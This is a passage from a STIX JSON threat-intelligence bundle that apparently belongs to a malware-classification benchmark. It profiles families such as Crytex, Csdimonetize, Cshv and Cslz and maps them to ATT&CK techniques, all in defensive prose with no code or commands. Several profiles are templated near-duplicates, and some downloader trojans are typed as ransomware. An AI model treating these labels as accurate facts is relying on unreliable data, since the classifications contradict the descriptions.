      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8919f54b-3c72-5d85-8eed-c2c55a5a4e08",
      "target_ref": "attack-pattern--a71a63c8-767f-55cc-b621-7f5e5f29d3e3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Crysis exhibits technique T1078.002 (Domain Accounts)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5601a9d1-0b4c-59e0-b562-0b980c126982",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8919f54b-3c72-5d85-8eed-c2c55a5a4e08",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Crysis exhibits technique T1562.001 (Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8fd13d89-4be2-542b-9fd7-82d4562c9785",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8919f54b-3c72-5d85-8eed-c2c55a5a4e08",
      "target_ref": "attack-pattern--418b8676-e6f5-59de-8b48-f83299b43196",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Crysis exhibits technique T1021.001 (Remote Desktop Protocol)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--31d77a98-bb3b-517d-a3b6-2691b0d694f3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8919f54b-3c72-5d85-8eed-c2c55a5a4e08",
      "target_ref": "attack-pattern--f7cefe4e-cadf-5280-927c-40d027c0f378",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Crysis exhibits technique T1047 (Windows Management Instrumentation)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--346604a9-bc48-5358-9fa3-89e169243b77",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Crytex",
      "description": "Crytex (cataloged across security vendors and threat intelligence databases under signatures including Ransom:Win32/Crytex, Trojan-Ransom.Win32.Crysis, and Ransom.Crysis) is a destructive Windows ransomware strain belonging to the prolific CrySiS / Dharma ransomware ecosystem active since 2016. Propagated primarily through compromised or brute-forced Remote Desktop Protocol (RDP) credentials and weaponized phishing email attachments, Crytex executes multi-stage extortion routines across corporate networks. Upon execution, the ransomware terminates database and hypervisor services, deletes Volume Shadow Copies via vssadmin.exe commands, and disables Windows Startup Recovery alerts. Crytex encrypts user and enterprise files using AES-256 symmetric ciphers wrapped with an embedded RSA-1024 public master key, appending the .crytex extension along with the operator contact email to locked filenames and dropping ransom demands titled 'HOW TO DECRYPT FILES.txt'. (Observed samples in benchmark: 52)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Crytex",
        "Trojan-Ransom.Win32.Crysis",
        "Ransom.Crysis",
        "Crytex Ransomware",
        "Win32/Crytex"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Crytex",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/crytex"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--31d3720a-5170-5b43-9419-34cf6a8fa857",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--346604a9-bc48-5358-9fa3-89e169243b77",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Crytex exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--40019de9-3c42-5d97-9975-dcfc2853c985",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--346604a9-bc48-5358-9fa3-89e169243b77",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Crytex exhibits technique T1490 (Inhibit System Recovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3b6fc43a-8e58-51c1-84c3-a6d8caed7d47",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--346604a9-bc48-5358-9fa3-89e169243b77",
      "target_ref": "attack-pattern--3e454648-d3ff-52aa-9384-1ac06a79ec48",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Crytex exhibits technique T1489 (Service Stop)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--028de191-6e3b-5484-972b-891dada8378e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--346604a9-bc48-5358-9fa3-89e169243b77",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Crytex exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--04a7fa70-7d58-5dc2-8e2b-a44966acfc13",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--346604a9-bc48-5358-9fa3-89e169243b77",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Crytex exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--91896969-182a-5d7c-b3d6-08a81df062bf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Csdimonetize",
      "description": "Csdimonetize (cataloged across security vendors as Adware:Win32/Csdimonetize, Adware.Csdimonetize, and PUA:Win32/Csdimonetize) is an aggressive software bundler and adware monetization framework active since 2015. Deployed through Pay-Per-Install (PPI) affiliate monetization networks, Csdimonetize packages legitimate freeware applications inside an invasive installation wrapper. During installation, the wrapper employs deceptive UI dark patterns\u2014such as obfuscated opt-out checkboxes and misleading accept buttons\u2014to install secondary Potentially Unwanted Applications (PUAs), browser extensions, and toolbars without informed user consent. Once active, Csdimonetize registers persistent autostart entries in the Windows Registry (HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run) and deploys background watchdog services to prevent uninstallation. The adware forcefully alters default browser search engines and homepages across Google Chrome, Mozilla Firefox, and Microsoft Edge, injects intrusive pop-up advertisements and banner links into visited web pages, and exfiltrates search query telemetry to commercial marketing servers. (Observed samples in benchmark: 118)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware:Win32/Csdimonetize",
        "Adware.Csdimonetize",
        "PUA:Win32/Csdimonetize",
        "Trojan:Win32/CsdiMonetize",
        "Win32/Csdimonetize"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Csdimonetize",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/csdimonetize"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ede7f3c0-4a35-54bf-ad5d-39e659047dfe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--91896969-182a-5d7c-b3d6-08a81df062bf",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Csdimonetize exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d812e0d7-5d49-5401-b54c-26b2e666ca7e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--91896969-182a-5d7c-b3d6-08a81df062bf",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Csdimonetize exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f0760162-2ca7-5edf-8974-a70d5dccfcc5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--91896969-182a-5d7c-b3d6-08a81df062bf",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Csdimonetize exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ec201102-bb84-5a40-ad9d-3f1668f99ede",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--91896969-182a-5d7c-b3d6-08a81df062bf",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Csdimonetize exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--22c5194f-26e1-5c24-ad25-78e6e19acc8c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--91896969-182a-5d7c-b3d6-08a81df062bf",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Csdimonetize exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--dc657549-3ed6-517a-9364-a3261d76547d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cshv",
      "description": "<h3>Executive Summary</h3>\nCshv is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nCshv is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Cshv operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Cshv ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Cshv receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Cshv infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Cshv executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Cshv frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Cshv",
        "Downloader.Cshv",
        "Win32/Cshv"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cshv",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cshv"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8b4884f7-b588-56f3-a298-a9b3ec5ac88e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dc657549-3ed6-517a-9364-a3261d76547d",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cshv exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bd9062ea-0d17-5d8a-ae0d-cac1adc79409",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dc657549-3ed6-517a-9364-a3261d76547d",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cshv exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--72953d94-7629-511f-bbb0-e9f26dd6801c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dc657549-3ed6-517a-9364-a3261d76547d",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cshv exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d9a91253-51a3-50f1-b6f3-20f0672a7f46",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cslz",
      "description": "Trojan:Win32/Cslz is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Cslz</b><br>To an end-user, a Cslz infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Cslz is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Cslz is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Cslz frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Cslz reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cslz",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cslz"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c7a426da-0006-53b4-84c9-5aaf61a3547e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d9a91253-51a3-50f1-b6f3-20f0672a7f46",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cslz exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--550213f1-91c0-5042-80e5-974072a8f492",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d9a91253-51a3-50f1-b6f3-20f0672a7f46",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cslz exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9dd1f3fd-8bc0-58ee-9267-7f5164640ec1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d9a91253-51a3-50f1-b6f3-20f0672a7f46",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cslz exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2ebd599b-9846-5285-bb52-4833c279af2a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d9a91253-51a3-50f1-b6f3-20f0672a7f46",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cslz exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a07fcb7a-bb90-579e-bfe4-55010755f605",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d9a91253-51a3-50f1-b6f3-20f0672a7f46",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cslz exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c40b2cb2-82e6-55ef-85d0-eef25e56f4da",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Csom",
      "description": "Trojan:Win32/Csom is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Csom</b><br>To an end-user, a Csom infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Csom is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Csom is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Csom frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Csom reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Csom",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/csom"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b8dee0bb-72da-56b5-a5ff-cc51a0cb5705",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c40b2cb2-82e6-55ef-85d0-eef25e56f4da",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Csom exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d9d17925-1b31-53b5-94b8-ee8824bbbb9d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c40b2cb2-82e6-55ef-85d0-eef25e56f4da",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Csom exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fc604d5c-5445-5173-8cf2-856cfec98025",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c40b2cb2-82e6-55ef-85d0-eef25e56f4da",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Csom exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--64038608-da0e-5d50-bb3e-0024dfc05a6e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c40b2cb2-82e6-55ef-85d0-eef25e56f4da",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Csom exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--10f4cb45-9534-5d23-b48d-cd54079d518f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c40b2cb2-82e6-55ef-85d0-eef25e56f4da",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Csom exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1e2bbffa-1a2c-5acf-8339-320a481ab46b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Csrb",
      "description": "Trojan:Win32/Csrb is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Csrb</b><br>To an end-user, a Csrb infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Csrb is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Csrb is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Csrb frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Csrb reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 12)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Csrb",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/csrb"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fb40dcba-d62f-502a-b8cf-b29d0b2b5f85",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1e2bbffa-1a2c-5acf-8339-320a481ab46b",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Csrb exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--83c265a6-1311-5458-95d3-dbf4566ecd0e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1e2bbffa-1a2c-5acf-8339-320a481ab46b",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Csrb exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1d78d941-158d-5bb9-b91e-2d50f3f49191",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1e2bbffa-1a2c-5acf-8339-320a481ab46b",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Csrb exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b476ba73-a1f8-52a4-a81b-70b8fc27b873",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1e2bbffa-1a2c-5acf-8339-320a481ab46b",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Csrb exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
